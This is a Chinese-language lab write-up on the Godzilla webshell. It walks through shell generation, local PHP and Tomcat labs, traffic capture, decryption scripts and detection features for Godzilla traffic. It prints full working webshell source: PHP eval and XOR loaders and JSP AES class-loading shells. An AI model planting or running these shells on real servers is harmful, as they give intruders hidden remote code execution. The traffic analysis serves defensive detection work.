生成 shell

管理 --> 生成,然后就能生成一个哥斯拉的 shell

密码:请求中的识别参数/访问口令。定客户端和服务端如何对应请求数据。

密钥:通信加解密所用的 key。

有效载荷(Payload):

  • AspDynamicPayload:对应 经典 ASP 环境。通常依赖 IIS 上的老式 ASP 脚本执行链。常见宿主文件就是 .asp
  • JavaDynamicPayload:对应 Java Web 环境。本质是运行在 Servlet/JSP 容器里的服务端代码。把 Java 对应后缀列为 .jsp、.jspx。
  • CSharpDynamicPayload:对应 ASP.NET / .NET Framework 环境。常见宿主:.aspx,.asmx,.ashx,把这些后缀归到 C# payload。
  • PhpDynamicPayload:对应 PHP Web 环境。常见宿主后缀是 .php

加密器(Encryptor):

ASP 系

  1. ASP_EVAL_BASE64思路:
  • 请求数据先转成可传输文本(Base64)
  • 服务端再做解码
  • 解码后的内容走 EVAL/动态执行 路线
  1. ASP_XOR_BASE64思路:
  • 原始数据先做 XOR
  • 再做 Base64
  • 服务端反向还原:Base64 解码 → XOR 还原
  1. ASP_XOR_RAW思路:
  • 原始数据先 XOR
  • 结果直接按原始字节传输,不再 Base64
  1. ASP_RAW思路:
  • 不额外做 Base64 文本包装
  • 直接传原始内容或原始处理后的字节流
  1. ASP_BASE64思路:
  • 重点在 Base64 编码传输

Java 系

  1. JAVA_AES_BASE64思路:
  • 原始数据先用 AES 加密
  • 密文再做 Base64 编码
  • 服务端收到后先 Base64 解码,再 AES 解密
  1. JAVA_AES_RAW思路:
  • 原始数据先 AES 加密
  • 密文直接按原始字节传输

C# / ASP.NET 系

  1. CSHAP_AES_BASE64思路:
  • 原始数据 → AES 加密 → Base64 编码
  • 服务端反向处理
  1. CSHAP_EVAL_AES_BASE64思路:
  • 仍然是 AES + Base64
  • 但服务端最后会落到 动态执行 这一路
  1. CSHAP_ASMX_AES_BASE64思路:

什么是 ASMX:

ASMX 是 ASP.NET 较老的 Web Services 机制。
也就是说,这个变体更像是“把通信逻辑塞进 WebService 入口里”。

  • 核心通信仍是 AES + Base64
  • 不同点在于宿主改成 ASMX Web Service
  1. CSHAP_AES_RAW思路:
  • AES 加密后直接走二进制传输
  • 不再 Base64

PHP 系

  1. PHP_EVAL_XOR_BASE64思路:
  • 原始数据先 XOR
  • 再 Base64
  • 服务端反向还原后走 EVAL 动态执行
  1. PHP_XOR_BASE64思路:
  • XOR 后再 Base64
  • 服务端再解码、反 XOR
  1. PHP_XOR_RAW思路:
  • 原始数据与某个派生 key 做 XOR
  • 结果直接按二进制传输

添加目标

这里请求配置主要可以自定义HTTP请求头,以及在最终的请求数据前后额外再追加一些扰乱数据,从而降低流量的特征。

php 环境搭建与流量分析

这里就直接使用小皮搭建或者直接在本机搭建Apache24或者 Nginx 环境也行。

PHP_EVAL_XOR_BASE64

先生成一个木马,然后放到小皮的 www 目录下,D:\phpstudy_pro\WWW

<?php
eval($_POST["pass"]);

然后连接一下,并且设置一下 bp 代理方便分析。设置好后点击测试就能发现 bp 有对应的数据包了

同时使用 Wireshark 抓取一下对应的流量,选择下面这个网卡

Adapter for loopback traffic capture

流量抓取分析

第 1 个请求
  • 请求体最大,通常用于初始化或装载 payload
  • 不带 Cookie,说明尚未建立 Session
  • 响应体为空,但会返回 Set-Cookie: PHPSESSID=sb46mukhd70sdm11651gk80ir2
  • 后续请求都会自动带上该 Cookie
  • 该请求的主要作用不是获取结果,而是下发 payload 并建立会话环境

第 2 个请求
  • 第二个请求会自动携带第一个响应中返回的 PHPSESSID Cookie
  • 说明客户端与服务端之间的 Session 已经建立完成
  • 响应体不再为空,而是返回一段固定格式的协议数据
  • 可划分为:前 16 字节 + 中间 32 字节 + 后 16 字节(中间 32 字节就是密文)

第 3 个请求

第 3 个请求与第 2 个请求完全一致。

流量解密分析

我们就从第二条流量开始解密分析

请求包
POST /1.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Cookie: PHPSESSID=sb46mukhd70sdm11651gk80ir2;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Host: localhost
Content-type: application/x-www-form-urlencoded
Content-Length: 1263
Connection: keep-alive

pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=DlMRWA1cL1gOVDc2MjRhRwZFEQ%3D%3D

可以发现请求包分为 2 段组成, pass= 和 key=。并且 pass 后面有很明显的 php 函数:eval,base64_decode,strrev,urldecode

  • urldecode():把 URL 编码还原。
  • strrev():字符串反转。
  • base64_decode():Base64 解码。
  • eval():把解出来的 PHP 字符串当成 PHP 代码执行。

大概理解清楚了,那我们直接把外层的 eval() 函数去掉,然后运行一下这段代码。就能拿到一段 PHP 代码

<?php
$a = base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD')));
echo $a;

这里本质就是是 PHP_EVAL_XOR_BASE64 加密器发出的“包装器代码”。它不是直接给你回显的普通表达式,而是客户端把一段 PHP loader 代码做了:

urlencode → strrev → base64_encode 的逆过程包装到 eval(base64_decode(strrev(urldecode(...)))) 中

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

然后大概的理解一下这段代码,能知道几个点

  • 我们执行的一些命令都在数据包中后面的 key= 这个字段中
  • 响应包的组成(下面具体分析了)

<?php
// 开始会话
@session_start();
// 设置脚本的最大执行时间为无限制
@set_time_limit(0);
// 禁用错误报告
@error_reporting(0);

// 定义编码函数,这里也是解密函数,这个函数就是在做一个 XOR 运行
function encode($data, $key) {
    // 遍历数据的每一个字符
    for ($i = 0; $i < strlen($data); $i++) {
        // 获取密钥的字符,使用按位与操作来循环密钥
        $c = $key[$i + 1 & 15]; 
        // 将数据字符与密钥字符进行异或操作
        $data[$i] = $data[$i] ^ $c;
    }
    return $data; // 返回编码后的数据
}

// 定义密码和会话变量名
$pass = 'key';
$payloadName = 'payload';
// 定义密钥
$key = '3c6e0b8a9c15224a';

// 检查是否有 POST 请求中包含密码
if (isset($_POST[$pass])) {
    // 解码并编码 POST 数据
    $payload=encode($_SESSION[$payloadName],$key);
    
    // 检查会话中是否存在有效的负载
    if (isset($_SESSION[$payloadName])) {
        // 解码并编码会话中的负载
        $payload = encode($_SESSION[$payloadName], $key);
        
        // 如果负载中不包含 "getBasicsInfo"
        if (strpos($payload, "getBasicsInfo") === false) {
            // 再次编码负载
            $payload = encode($payload, $key);
        }
        
        // 执行负载代码
        eval($payload);
        
        // 输出密码和密钥的 MD5 哈希的前16位
        echo substr(md5($pass . $key), 0, 16);
        // 输出经过编码的运行结果的 Base64 编码
        echo base64_encode(encode(@run($data), $key));
        // 输出密码和密钥的 MD5 哈希的后16位
        echo substr(md5($pass . $key), 16);
    } else {
        // 如果数据中包含 "getBasicsInfo"
        if (strpos($data, "getBasicsInfo") !== false) {
            // 将数据存入会话的负载变量中
            $_SESSION[$payloadName] = encode($data, $key);
        }
    }
}
?>
响应包
HTTP/1.1 200 OK
Date: Thu, 18 Jun 2026 06:43:10 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.5.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=sb46mukhd70sdm11651gk80ir2; path=/
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 64

72a9c691ccdaab98fL1tMGI4YTljOv79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488

通过分析上面请求包知道,

$pass = 'key'
$key  = '3c6e0b8a9c15224a'

所以

md5('key3c6e0b8a9c15224a')

执行如下

<?php
$pass = 'key';
$key  = '3c6e0b8a9c15224a';
echo substr(md5($pass . $key), 0, 16);
echo "\n";
echo substr(md5($pass . $key), 16);

响应体就能理解了

72a9c691ccdaab98fL1tMGI4YTljOv7QNDQm7r9PZzBiOA==b4c4e1f6ddd2a488

结构就是:

72a9c691ccdaab98   fL1tMGI4YTljOv7QNDQm7r9PZzBiOA==   b4c4e1f6ddd2a488

拆开:

  • 前 16 位:
72a9c691ccdaab98
  • 中间 Base64 数据:
fL1tMGI4YTljOv7QNDQm7r9PZzBiOA==
  • 后 16 位:
b4c4e1f6ddd2a488

然后可以写个解密代码:

<?php
// 请求包中的 key 字段
$req_key = "DlMRWA1cL1gOVDc1MjRhVDxVCV8RXQ%3D%3D";

// 响应包 body
$resp_body = "72a9c691ccdaab98fL1tMGI4YTljOv79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488";

// Godzilla 内层 XOR 密钥
$xor_key = "3c6e0b8a9c15224a";

function xor_decode_data($D, $K) {
    for ($i = 0; $i < strlen($D); $i++) {
        $c = $K[($i + 1) & 15];
        $D[$i] = $D[$i] ^ $c;
    }
    return $D;
}

function decode_request_key($value, $xor_key) {
    // 请求包 key 字段:URL 解码 -> Base64 解码 -> XOR
    $data = urldecode($value);
    $data = base64_decode($data);
    return xor_decode_data($data, $xor_key);
}

function decode_response_body($value, $xor_key) {
    // 响应包:去掉前 16 位和后 16 位 MD5
    $data = substr($value, 16, -16);

    // Base64 解码 -> XOR
    $data = base64_decode($data);
    $data = xor_decode_data($data, $xor_key);

    // 如果是 gzip 数据,则继续解压
    if (substr($data, 0, 2) === "\x1f\x8b") {
        $data = gzdecode($data);
    }
    return $data;
}

$req_plain = decode_request_key($req_key, $xor_key);
$resp_plain = decode_response_body($resp_body, $xor_key);

echo "[请求 key 解密结果]" . PHP_EOL;
echo $req_plain . PHP_EOL;

echo PHP_EOL . "[响应 body 解密结果]" . PHP_EOL;
echo $resp_plain . PHP_EOL;
?>

这里也可以使用 BlueTeam_ABC_123 这个工具进行解密

然后我们继续往下分析点击进入哥斯拉,然后有一条很长的数据包,解密分析一下

这里解密就对应上了,使用工具一样能解

然后去执行一个命令 ipconfig

PHP_XOR_BASE64

先生成一个木马,然后放到小皮的 www 目录下,D:\phpstudy_pro\WWW

看下面这个马跟我们上面分析的是一样的,这里就是分析一下流量,解密分析跟上面就一样了。这里的区别就是上面那种类型是从 key 取执行的命令,而这是从 $pass 中取

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

流量抓取分析

第 1 个请求

除了类型不同以外,其他特征跟上面一样的。

第 2 个请求

现在这个类型就只有 pass= 了,其他没啥区别

第 3 个请求

除了请求包中 post 参数不同外,好像就没其他不同的地方了

PHP_XOR_RAW

先生成一个木马,然后放到小皮的 www 目录下,D:\phpstudy_pro\WWW

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
        eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

流量解密分析

这里我们就直接解密一起分析了,解密代码原理还是跟上面一样的,只不过这里密文是 raw 格式,这里需要转成 hex 复制出来,直接复制出来这里有不可见字符的。

第 1 个请求

第一个请求的解密结果就不放上来了数据太大,主要就是用于初始化或装载 payload,跟上面的都一样

第 2 个请求

这里出来数据格式不一样,逻辑跟上面还是一样的,要注意的就是复制数据出来解密的时候要复制他的 16 进制形式或者 base64都行,不能直接复制 raw 的格式。

这是没找到什么好复制的插件,肯定是有的我没找到。然后给 ai 写了一个 gongzhujiejie/copybytes: Burp Suite 2026 Montoya 扩展:一键复制请求/响应选中区域或 Body 为 Hex、Base64、PHP、Python 格式。

右键直接复制请求响应包的数据就行,也能框选部分然后发送到 ui 处理数据。

import gzip

xor_key = b"3c6e0b8a9c15224a"

# 从 Burp Hex 面板复制请求 body 的 HEX
req_hex = "0e5311580d5c2f580e54373632346147064511"

# 从 Burp Hex 面板复制响应 body 的 HEX
resp_hex = "7cbd6d3062386139633afefd343426eebf4f67306238"

def xor_decode(data, key):
    return bytes([b ^ key[(i + 1) & 15] for i, b in enumerate(data)])

def decode_raw_hex(hex_data):
    hex_data = "".join(c for c in hex_data if c in "0123456789abcdefABCDEF")
    if not hex_data:
        return b""

    data = bytes.fromhex(hex_data)
    plain = xor_decode(data, xor_key)

    if plain[:2] == b"\x1f\x8b":
        plain = gzip.decompress(plain)

    return plain

req_plain = decode_raw_hex(req_hex)
resp_plain = decode_raw_hex(resp_hex)

print("[请求包解密结果]")
print(req_plain)
print(req_plain.decode(errors="replace"))

print("\n[响应包解密结果]")
print(resp_plain)
print(resp_plain.decode(errors="replace"))

第 3 个请求

这里哥斯拉进入是有个哥获取基础信息的操作,再看看这条流。同样先把数据复制出来复制到我们的解密脚本中

没啥问题解出来的数据基本上都是对的上的,也可以执行几个命令进行解密分析看看。我后续就不具体分析了

特征总结

请求包的特征:

  1. "pass=" 开始
  2. 第一个请求较长并且响应包为 0
  3. 从第二个请求开始,会固定一个Cookie,并且这个 Cookie 有一个非常关键的特征,最后会有个分号,标准的HTTP请求中最后一个 Cookie 的值是不应该出现的
  4. Accept 字段(弱特征)默认是:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

响应包特征:

  1. 整个响应包的结构体征为:md5 前十六位+ base64 + md5后十六位
  2. 所有响应中
Cache-Control: no-store, no-cache, must-revalidate,

PHP_EVAL_XOR_BASE64,PHP_XOR_BASE64 这两类的区别基本差不多,PHP_XOR_RAW 区别就是数据包是 RAW 字节的形式(这种类型的一半来说挺少的)

PHP_XOR_RAW 特征除了请求体和响应体是二进制数据以外其他特征跟上面的格式就差不多基本上。

java 环境搭建与流量分析

这里使用 apache-tomcat-9.0.118 和 jdk 8 搭建实验环境。

Tomcat10 好像无法注入哥斯拉的内存马

然后生成一个 jsp 马。

JSP 和 JSPX 的区别:

对比项

JSP

JSPX

后缀

.jsp

.jspx

语法

普通 JSP 语法

XML 格式 JSP

兼容性

更常见

依赖容器映射

容错性

较宽松

必须符合 XML 规范

使用场景

默认优先

.jsp 被拦截或需要 XML JSP 时

Tomcat 支持

默认支持

通常默认支持

把生成的马放到 webapps\ROOT\1.jsp 这个目录下,然后再启动一下 tomcat 双击这个文件即可 \apache-tomcat-9.0.118\bin\startup.bat

JAVA_AES_BASE64

上面生成的就是这个系列的马,

<%!
    String xc = "3c6e0b8a9c15224a";
    String pass = "pass";
    String md5 = md5(pass + xc);

    class X extends ClassLoader {
        public X(ClassLoader z) {
            super(z);
        }

        public Class Q(byte[] cb) {
            return super.defineClass(cb, 0, cb.length);
        }
    }

    public byte[] x(byte[] s, boolean m) {
        try {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            c.init(
                m ? 1 : 2,
                new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")
            );
            return c.doFinal(s);
        } catch (Exception e) {
            return null;
        }
    }

    public static String md5(String s) {
        String ret = null;

        try {
            java.security.MessageDigest m;
            m = java.security.MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new java.math.BigInteger(1, m.digest())
                .toString(16)
                .toUpperCase();
        } catch (Exception e) {
        }

        return ret;
    }

    public static String base64Encode(byte[] bs) throws Exception {
        Class base64;
        String value = null;

        try {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64
                .getMethod("getEncoder", null)
                .invoke(base64, null);

            value = (String) Encoder
                .getClass()
                .getMethod("encodeToString", new Class[] { byte[].class })
                .invoke(Encoder, new Object[] { bs });
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();

                value = (String) Encoder
                    .getClass()
                    .getMethod("encode", new Class[] { byte[].class })
                    .invoke(Encoder, new Object[] { bs });
            } catch (Exception e2) {
            }
        }

        return value;
    }

    public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;

        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64
                .getMethod("getDecoder", null)
                .invoke(base64, null);

            value = (byte[]) decoder
                .getClass()
                .getMethod("decode", new Class[] { String.class })
                .invoke(decoder, new Object[] { bs });
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();

                value = (byte[]) decoder
                    .getClass()
                    .getMethod("decodeBuffer", new Class[] { String.class })
                    .invoke(decoder, new Object[] { bs });
            } catch (Exception e2) {
            }
        }

        return value;
    }
%>

<%
    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);

        if (session.getAttribute("payload") == null) {
            session.setAttribute(
                "payload",
                new X(this.getClass().getClassLoader()).Q(data)
            );
        } else {
            request.setAttribute("parameters", data);

            java.io.ByteArrayOutputStream arrOut =
                new java.io.ByteArrayOutputStream();

            Object f = ((Class) session.getAttribute("payload")).newInstance();

            f.equals(arrOut);
            f.equals(pageContext);

            response.getWriter().write(md5.substring(0, 16));

            f.toString();

            response.getWriter().write(
                base64Encode(x(arrOut.toByteArray(), true))
            );

            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {
    }
%>

使用哥斯拉连接和 burp 分析一下

这里注意一下 burp 设置的代理端口可能会 tomcat 有冲突记得改一下

点击测试连接和添加就会产生 3 条数据,下面进行分析一下

流量抓取分析

分析了这么多种方式,能够发现哥斯拉的通信思路基本上大致都一样,一开始都是“首包装载、会话维持、后续小包调用、加密封装返回” 这个思路。

第 1 个请求
  • 第 1 个请求最大:用于上传/装载 Java 动态 payload。
    服务端解密后会通过 ClassLoader#defineClass 加载 class,并保存到 Session。
  • 第 1 个响应通常为空,但会设置 Java 会话 Cookie:Set-Cookie: JSESSIONID=...

第 2 个请求
  • 第二个请求会自动携带第一个响应设置的:Cookie: JSESSIONID=...
  • 请求参数仍然是:pass=...
  • 响应体不再为空,而是返回固定协议格式数据:前 16 字节 + Base64(AES(执行结果)) + 后 16 字节

第 3 个请求
  • 第三个请求与第二个请求结构基本一致

流量解密分析

先简单分析一下木马:

  • 密钥:String xc = "3c6e0b8a9c15224a";,这是 AES key,长度 16 字节,正好对应 AES-128。也是 key 字符 md5 值对应的前 32 位,可以根据这个特征去爆破一个 aes key。
  • 请求参数名:String pass = "pass";,客户端请求中真正的数据放在:pass=...
  • 请求解密流程:
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);

也就是:

URLDecode(pass参数)
→ Base64 Decode
→ AES Decrypt
→ 得到原始 payload / 参数数据
  • AES 模式加密:代码里写的是:
javax.crypto.Cipher.getInstance("AES");

在 Java 默认 SunJCE 环境中,通常等价于:

AES/ECB/PKCS5Padding

  • 后续响应格式:
response.getWriter().write(md5.substring(0, 16));
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));

MD5(pass + key) 前 16 位

  • Base64(AES(执行结果))
  • MD5(pass + key) 后 16 位

注意:这个 JSP 里的 MD5 是大写。

解密代码:

import base64, hashlib, gzip
from urllib.parse import unquote_plus
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

pass_name = "pass"
key = b"3c6e0b8a9c15224a"

req_pass = "HA0IFFp9Uhd7b4sNVTIzBlD%2FaBwD3NNXL3TfTExo1weKu4KAhhCu6Gn1EQfX1m9g"
resp_body = "11CD6A8758984163LF/IpkPvM0iJI4wmpBs2DaoBVvcbDMpwuL7nYS3n/k4=6C37AC826A2A04BC"

def dec_aes(b):
    return unpad(AES.new(key, AES.MODE_ECB).decrypt(b), 16)

def ungzip(b):
    return gzip.decompress(b) if b[:2] == b"\x1f\x8b" else b

def dec_req(s):
    return ungzip(dec_aes(base64.b64decode(unquote_plus(s))))

def dec_resp(s):
    m = hashlib.md5(pass_name.encode() + key).hexdigest().upper()
    if s.startswith(m[:16]) and s.endswith(m[16:]):
        s = s[16:-16]
    return ungzip(dec_aes(base64.b64decode(s)))

def show(name, b):
    print(f"\n[{name}]")
    print("HEX :", b.hex())
    print("TEXT:", b.decode(errors="replace"))

show("请求包", dec_req(req_pass))
show("响应包", dec_resp(resp_body))

然后再解密一下进入哥斯拉有个获取基础信息的操作响应包很明显很大。

解密基本信息也能对上

JAVA_AES_RAW

先生成一个马。

<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}
%>

依旧使用 burp 分析数据包

它和 JAVA_AES_BASE64 的核心区别是:

  • 请求数据不走参数JAVA_AES_BASE64 是把数据放在 pass 参数里。
    JAVA_AES_RAW 不使用 pass 参数,而是直接读取 HTTP 请求体。
  • 不使用 Base64JAVA_AES_BASE64 是 Base64(AES(数据))。JAVA_AES_RAW 是直接发送 AES(数据) 的原始二进制。、所以 Burp 里看到的 body 通常是乱码,需要复制 Hex 后再解。

其他的就没啥很大的区别了:这里直接解密获取基础信息的数据,跟 php 一样要复制 hex 数据格式

import gzip
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = b"3c6e0b8a9c15224a"

# 请求体密文 HEX
req_hex = "1c0d08145a7d52177b6f8b0d55323306a2fc4c2b2d21eb23f96a7b2fa5aaacf1514017c6c9248d16745e687a3649e7857b41a616a9ec42cf8982b75aa4dd54b1"

# 响应体密文 HEX
resp_hex = "3fd9e15657d346cfccd8418b5dc2d71b45891661febfabc7c12188c6a9a263a56d94020f6ec1a263955a11d212d457c5485c5e421e423036ce88a08d4e22035119e56b509501afd9b517db08805b4efffff08744b2a9558670441295256a588c7fb15ae4c8badc91b46cb530bc1ddea21aa6888fa8b6441b6b73c4b06b124164f5cf04ff589d2854b5cd0d5c50c3a87532ea10d3fd9e9d1cbd1d49716f7d44b7f2b5545e13e12060f773c99924fefef7145f3372d2fbde3efd601320193393d84995366ce160df7be2cb4f40a8db2212dc72b0ee8b7dd4d2b0b99703bc1348169a6870fef9f7f468e58fc9741f94022784321eb3b493fcc5bef3de5dc7674c549bba33abab0f65325583ef6ce227e1ca8af647c8f6c8772d8dd2943496b666fd729d15b5d7dfe971c32707dbda224bf879a241ff04dc1f7af448d0ddeee01dac35a7b3bdcdd84b9f49a79485948019dab0715a359c000de5aa7a81df417f90ef0d1ebe1e6a07cd0fd37eabeff593c635c77516780cbc090d46019b0a1685e6bc9bc32b07b679f707e919967184e17784a59e24c30d5129097564ca96a594c59e6624964c1922c8eaac7140932e8db96928e86daa69b782c6ea1a190d9b366855ff6ba7625d17a08729232617a45a0a0cb43815ab41658da15ffd0392d602dcd110d86d01375e9f3075d3abb9b2ebea664c6f4128bce4c86d6bccfbac130ff394ece4e900f8c6d5f33d542a84bb63b8c4aa197b89a196bc51e6d5cb2396c0d69ee9c56777504fb645a5c61209dbbc03a9c023ab199af056a48ba1fd9fce8cfe2a7f14901ee5bdddcfe406c2c6a6d4cbf1a04350a50c17b7d36ff9d99f14b4da3027789f7ffc41ebc05ac388fe5c2d66fe7e7550aee598bda2a2579